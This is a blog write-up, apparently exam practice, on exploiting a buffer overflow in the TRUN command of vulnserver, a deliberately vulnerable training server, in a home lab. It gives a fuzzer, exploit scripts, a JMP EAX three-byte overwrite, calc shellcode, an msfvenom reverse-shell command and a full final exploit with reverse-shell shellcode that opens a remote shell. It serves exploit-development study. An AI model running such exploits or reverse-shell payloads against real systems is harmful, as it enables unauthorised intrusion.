Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Three Byte Overwrite to Exploit Vulnserver TRUN

For my vulnserver TRUN exploit, I decided to use a three byte overwrite to jump to EAX.

Three Byte Overwrite (Vulnserver TRUN) – Introduction

As I mentioned in my earlier post, I am going through vulnserver for OSCE/binary exploitation practice.

Note that most write-ups for this command will perform a vanilla EIP overwrite and JMP ESP. That said, I wanted to try something different for my first attempt, to challenge myself.

Note: I apologize for the IP address switching mid post, but I changed my network setup.

With that in mind, I fired up Immunity and got to work!

Three Byte Overwrite - Immunity

Fuzzing Vulnserver

First, I fuzzed the application to find the initial vulnerability.

I used the following Boofuzz template to fuzz the “TRUN” command.

from boofuzz import *

host = "192.168.1.35"
port = 9999

def main():
    session = Session(target = Target(connection = SocketConnection(host, port, proto='tcp')))

    s_initialize("Request")

    s_string("TRUN", fuzzable = False)
    s_delim(" ", fuzzable = False, name = 'space-1')
    s_string("fuzzme")

    session.connect(s_get("Request"))
    session.fuzz()

if __name__ == "__main__":
    main()

The application crashed right away, with only my second request.

root@kali:~/vulnserver# python trun_fuzz.py
[2018-12-30 01:51:00,108] Test Case: 1: Request.no-name.1
[2018-12-30 01:51:00,111]     Info: Type: String. Default value: 'fuzzme'. Case 1 of 1441 overall.
[2018-12-30 01:51:00,113]     Info: Opening target connection (192.168.1.35:9999)...
[2018-12-30 01:51:00,115]     Info: Connection opened.
[2018-12-30 01:51:00,117]   Test Step: Fuzzing Node 'Request'
[2018-12-30 01:51:00,122]     Transmitting 5 bytes: 54 52 55 4e 20 'TRUN '
[2018-12-30 01:51:00,124]     Info: 5 bytes sent
[2018-12-30 01:51:00,126]     Info: Closing target connection...
[2018-12-30 01:51:00,129]     Info: Connection closed.
[2018-12-30 01:51:00,130]   Test Step: Sleep between tests.
[2018-12-30 01:51:00,132]     Info: sleeping for 0.000000 seconds
[2018-12-30 01:51:00,135] Test Case: 2: Request.no-name.2
[2018-12-30 01:51:00,146]     Info: Type: String. Default value: 'fuzzme'. Case 2 of 1441 overall.
[2018-12-30 01:51:00,148]     Info: Opening target connection (192.168.1.35:9999)...
[2018-12-30 01:51:00,150]     Info: Connection opened.
[2018-12-30 01:51:00,152]   Test Step: Fuzzing Node 'Request'
[2018-12-30 01:51:00,155]     Transmitting 5011 bytes: 54 52 55 4e 20 2f 2e 3a 2f 41 41 ...<snip>... 41 41 00 00 'TRUN /.:/AA ...<snip>... AA\x00\x00'
[2018-12-30 01:51:00,168]     Info: 5011 bytes sent
[2018-12-30 01:51:00,170]     Info: Closing target connection...
[2018-12-30 01:51:00,172]     Info: Connection closed.
[2018-12-30 01:51:00,176]   Test Step: Sleep between tests.
[2018-12-30 01:51:00,178]     Info: sleeping for 0.000000 seconds
[2018-12-30 01:51:00,180] Test Case: 3: Request.no-name.3
[2018-12-30 01:51:00,182]     Info: Type: String. Default value: 'fuzzme'. Case 3 of 1441 overall.
[2018-12-30 01:51:00,184]     Info: Opening target connection (192.168.1.35:9999)...
[2018-12-30 01:51:00,186]     Info: Connection opened.
[2018-12-30 01:51:00,188]   Test Step: Fuzzing Node 'Request'
[2018-12-30 01:51:00,193]     Transmitting 5012 bytes: 54 52 55 4e 20 2f 2e 2e 2e 2f 42 42 ...<snip>... 42 42 00 00 'TRUN /.../BB ...<snip>... BB\x00\x00'
[2018-12-30 01:51:00,207]     Info: 5012 bytes sent
[2018-12-30 01:51:00,209]     Info: Closing target connection...
[2018-12-30 01:51:00,211]     Info: Connection closed.
[2018-12-30 01:51:00,213]   Test Step: Sleep between tests.
[2018-12-30 01:51:00,215]     Info: sleeping for 0.000000 seconds

As you can see, EIP was overwritten with the “B”s from request #2.

Three Byte Overwrite - Crash

Three Byte Overwrite - EIP

When I opened the Boofuzz database, I was able to see the exact request that I sent to the server.

Three Byte Overwrite - Boofuzz Database

Finding the Vulnerability

With an EIP overwrite discovered, I wrote my exploit template.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.1.35"
port = 9999

buffer = "A" * 5000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

print s.recv(1024)

print "[+] Sending exploit..."

s.send("TRUN /.../ " + buffer)

print s.recv(1024)

s.close()

I sent the template request to the server, to verify that it would crash.

root@kali:~/vulnserver# python trun_exploit.py
Welcome to Vulnerable Server! Enter HELP for help.

[+] Sending exploit...
^CTraceback (most recent call last):
  File "trun_exploit.py", line 22, in 
    print s.recv(1024)
KeyboardInterrupt

As expected, EIP was overwritten with the “A”s that I sent.

Three Byte Overwrite - Manual Exploit

Next, I used pattern_create to find the EIP overwrite offset.

root@kali:~/vulnserver# msf-pattern_create -l 5000

When I resent the payload, EIP was overwritten with a new value (0x6f43376f)

Three Byte Overwrite - Pattern Create

Using pattern_offset, I was able to determine that EIP was overwritten after 2002 bytes.

root@kali:~/vulnserver# msf-pattern_offset -l 5000 -q 6f43376f
[*] Exact match at offset 2002

Finally, to verify this offset, I updated my original exploit script.

buffer = "A" * 2002
buffer += "BBBB"
buffer += "C" * (5000 - len(buffer))

As expected, EIP was overwritten with 0x42424242.

Three Byte Overwrite - EIP Control

At this point, EIP, EAX, and ESP were attacker controlled.

Finding Bad Characters

With the vulnerability discovered, I needed to check for any potential bad characters.

First, I updated the buffer in my payload.

for i in range(1, 256):
    buffer += chr(i)

As you can see from this sample, the only bad character for this attack vector was 0x00, so I wouldn’t need to worry about encoding.

Three Byte Overwrite - Bad Characters

Jumping to EAX

First, I verified that I could control EIP with a three byte overwrite.

buffer = "A" * 2002
buffer += "BBB"

As expected, EIP was overwritten with my three “B”s, and the terminating null byte (0x00424242)

Three Byte Overwrite - 0x00424242

EAX contains the entirety of the sent command, including the “TRUN /…/” portion.

Three Byte Overwrite - EAX Contents

That said, none of the instructions from the initial command are damaging, so I was good to continue.

(TRUN /…/)

0:  00 54 52 55             add    BYTE PTR [edx+edx*2+0x55],dl
4:  4e                      dec    esi
5:  20 2f                   and    BYTE PTR [edi],ch
7:  2e 2e 2e 2f             cs cs cs das

I used the modules command in mona to see what modules had ASLR disabled and were not being rebased.

Three Byte Overwrite - Modules

In this case, I used mona to find a jump to EAX within the vulnserver.exe binary. Due to the successful three byte overwrite, the null byte in the address space would not be an issue.

!mona find -s "\xff\xe0" -m vulnserver.exe

Three Byte Overwrite - Find JMP

Once I found my jump, I updated my payload with the selected memory address.

buffer = "\xCC" * 2002
# 0x0040100c = JMP EAX
buffer += "\x0c\x10\x40"

When I sent my updated exploit, I hit the breakpoint on the JMP EAX instruction.

Three Byte Overwrite - JMP EAX

This successfully jumped to my payload, so I was in business!

Three Byte Overwrite - TRUN Instructions

AND Access Violation

After jumping to EAX, I received an error with one of the instructions from my “TRUN” command. The system interpreted “\x20\x2f” (space followed by forward slash) as an AND [EDI], CH. That said, EDI was now zeros, so this memory could not be accessed.

I figured that I could solve this by modifying the character immediately after the space.

In this case, I added a second space, so that the instruction would be \x20\x20 instead of \x20\x2e. This would AND [EAX] against AH, which wouldn’t be a problem.

Three Byte Overwrite - 0x2020

After modifying my script, my exploit ran successfully all the way to my interrupts.

Three Byte Overwrite - AND Fixed

Three Byte Overwrite - Interrupts

Three Byte Overwrite – Exploitation – Poppin’ Calcs

With everything working, I added a calc shellcode to my exploit, to weaponize it.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.0.2"
port = 9999

# calc
buf = ""
buf += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
buf += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
buf += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
buf += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
buf += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
buf += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
buf += "\x45\x81\x3e\x43\x72\x65\x61\x75"
buf += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
buf += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
buf += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
buf += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
buf += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
buf += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
buf += "\x53\x53\x53\x53\x52\x53\xff\xd7"

buffer = ("\x90" * 16) + buf
buffer += "\xcc" * (2001 - len(buffer))
# 0x0040100c = JMP EAX
buffer += "\x0c\x10\x40"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

print s.recv(1024)

print "[+] Sending exploit..."

s.send("TRUN  /.../" + buffer)

print s.recv(1024)

s.close()

When I sent my new exploit, the application crashed, and my calculator opened!

Three Byte Overwrite - Calc

More Issues to Overcome

With everything in place, I generated my reverse shellcode.

root@kali:~/vulnserver/trun# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f py -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of py file: 1684 bytes

With the exploit updated, I sent the new request to the server. Unfortunately, I was getting some strange access violations, and null bytes that I was not sending.

Three Byte Overwrite - Access Violations

With plenty of help from Rebecca (@ranger_cha), we discovered that this was an issue with the stack.

As you can see from my (very scientific) debugging attempts, ESP and EIP are dangerously close to each other.

Three Byte Overwrite - DEADBEEF

As it turns out, the stack ended up overwriting some of my instructions, causing larger payloads to corrupt.

In this case, I moved the stack just over 256 bytes away, to prevent this corruption.

Three Byte Overwrite - Stack Fix

Final Exploit – Reverse Shell

With the stack pivot in place, I updated my final payload and sent it over.

root@kali:~/vulnserver/trun# python trun_three-bite_reverse.py
Welcome to Vulnerable Server! Enter HELP for help.

[+] Sending exploit...
^CTraceback (most recent call last):
  File "trun_three-bite_reverse.py", line 57, in 
    print s.recv(1024)
KeyboardInterrupt

Everything worked, and I received my reverse shell!

root@kali:~/vulnserver# nc -lvp 4444
listening on [any] 4444 ...
192.168.0.2: inverse host lookup failed: Unknown host
connect to [192.168.0.1] from (UNKNOWN) [192.168.0.2] 49159
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\IEUser\Downloads\vulnserver-master>whoami
whoami
ie8win7\ieuser

Three Byte Overwrite - Reverse Shell

Final Code

Here is the final exploit that I used for my reverse shell.

#!/usr/bin/python

import socket
import os
import sys

host = "192.168.0.2"
port = 9999

buf =  ""
buf += "\xbe\x97\x7c\x63\x8e\xdb\xc8\xd9\x74\x24\xf4\x5f\x2b"
buf += "\xc9\xb1\x52\x31\x77\x12\x83\xef\xfc\x03\xe0\x72\x81"
buf += "\x7b\xf2\x63\xc7\x84\x0a\x74\xa8\x0d\xef\x45\xe8\x6a"
buf += "\x64\xf5\xd8\xf9\x28\xfa\x93\xac\xd8\x89\xd6\x78\xef"
buf += "\x3a\x5c\x5f\xde\xbb\xcd\xa3\x41\x38\x0c\xf0\xa1\x01"
buf += "\xdf\x05\xa0\x46\x02\xe7\xf0\x1f\x48\x5a\xe4\x14\x04"
buf += "\x67\x8f\x67\x88\xef\x6c\x3f\xab\xde\x23\x4b\xf2\xc0"
buf += "\xc2\x98\x8e\x48\xdc\xfd\xab\x03\x57\x35\x47\x92\xb1"
buf += "\x07\xa8\x39\xfc\xa7\x5b\x43\x39\x0f\x84\x36\x33\x73"
buf += "\x39\x41\x80\x09\xe5\xc4\x12\xa9\x6e\x7e\xfe\x4b\xa2"
buf += "\x19\x75\x47\x0f\x6d\xd1\x44\x8e\xa2\x6a\x70\x1b\x45"
buf += "\xbc\xf0\x5f\x62\x18\x58\x3b\x0b\x39\x04\xea\x34\x59"
buf += "\xe7\x53\x91\x12\x0a\x87\xa8\x79\x43\x64\x81\x81\x93"
buf += "\xe2\x92\xf2\xa1\xad\x08\x9c\x89\x26\x97\x5b\xed\x1c"
buf += "\x6f\xf3\x10\x9f\x90\xda\xd6\xcb\xc0\x74\xfe\x73\x8b"
buf += "\x84\xff\xa1\x1c\xd4\xaf\x19\xdd\x84\x0f\xca\xb5\xce"
buf += "\x9f\x35\xa5\xf1\x75\x5e\x4c\x08\x1e\xa1\x39\x12\xdf"
buf += "\x49\x38\x12\xce\xd5\xb5\xf4\x9a\xf5\x93\xaf\x32\x6f"
buf += "\xbe\x3b\xa2\x70\x14\x46\xe4\xfb\x9b\xb7\xab\x0b\xd1"
buf += "\xab\x5c\xfc\xac\x91\xcb\x03\x1b\xbd\x90\x96\xc0\x3d"
buf += "\xde\x8a\x5e\x6a\xb7\x7d\x97\xfe\x25\x27\x01\x1c\xb4"
buf += "\xb1\x6a\xa4\x63\x02\x74\x25\xe1\x3e\x52\x35\x3f\xbe"
buf += "\xde\x61\xef\xe9\x88\xdf\x49\x40\x7b\x89\x03\x3f\xd5"
buf += "\x5d\xd5\x73\xe6\x1b\xda\x59\x90\xc3\x6b\x34\xe5\xfc"
buf += "\x44\xd0\xe1\x85\xb8\x40\x0d\x5c\x79\x70\x44\xfc\x28"
buf += "\x19\x01\x95\x68\x44\xb2\x40\xae\x71\x31\x60\x4f\x86"
buf += "\x29\x01\x4a\xc2\xed\xfa\x26\x5b\x98\xfc\x95\x5c\x89"

buffer = ("\x90" * 16)
# MOV ESP, EAX; SUB SP 0x104
buffer += "\x89\xc4\x66\x81\xec\x04\x01"
buffer += buf
buffer += "\x90" * (2001 - len(buffer))
# 0x0040100c = JMP EAX
buffer += "\x0c\x10\x40"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,port))

print s.recv(1024)

print "[+] Sending exploit..."

s.send("TRUN  /.../" + buffer)

print s.recv(1024)

s.close()

Three Byte Overwrite – Conclusion

While this was difficult, it was good practice for any potential curve balls the OSCE may throw at me.

I’ll probably finish up and post the vanilla EIP overwrite for the TRUN command next, just for completeness.

You can find the final exploit in my GitHub repository, but let me know if you think there is anything that I should add.

3 Comments

  1. Nice write up and interesting solution! Enjoyed this as I am doing the same for osce prep.

    Just wondering why you are sending “TRUN /…/” as your command in the exploit? To my knowledge, this isn’t required by the application to run the TRUN command successfully, and would avoid the access violation you were mentioning […After jumping to EAX, I received an error with one of the instructions from my “TRUN” command. The system interpreted “\x20\x2f” (space followed by forward slash) as an AND [EDI], CH…]. Unless I am missing something?

    Looking at the code for vulnserver, when the applications sees the string “TRUN ” it checks if the 5th character is a “.”

    So to run the TRUN command, you only need to send “TRUN .” (space followed by dot) + large buffer.
    # s.send(“TRUN .” + buffer)

    Code for TRUN command:
    else if (strncmp(RecvBuf, “TRUN “, 5) == 0) {
    char *TrunBuf = malloc(3000);
    memset(TrunBuf, 0, 3000);
    for (i = 5; i < RecvBufLen; i++) {
    if ((char)RecvBuf[i] == '.') {
    strncpy(TrunBuf, RecvBuf, 3000);
    Function3(TrunBuf);
    break;
    }
    }

    Thanks again for the interesting read and good luck with your exam!

    Regards,
    phish

    • Hi, and thanks for the response! Yup, I think vulnserver is great for OSCE prep, and this was definitely a fun solution.

      I sent that full command because it’s similar to what my fuzzing discovered. I was working on these from a black-box approach, and ended up not minimizing my payload since I didn’t have to.

      Yup, you will get that access violation with \x20\x2f. In that case, you can do what I did, and change it to TWO spaces after TRUN, for \x20\x20.

      I didn’t want to look at the code for any of these solutions though, which is why I kept the /…/.

      Thanks, I managed to pass it just over a week ago! When do you take yours?

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.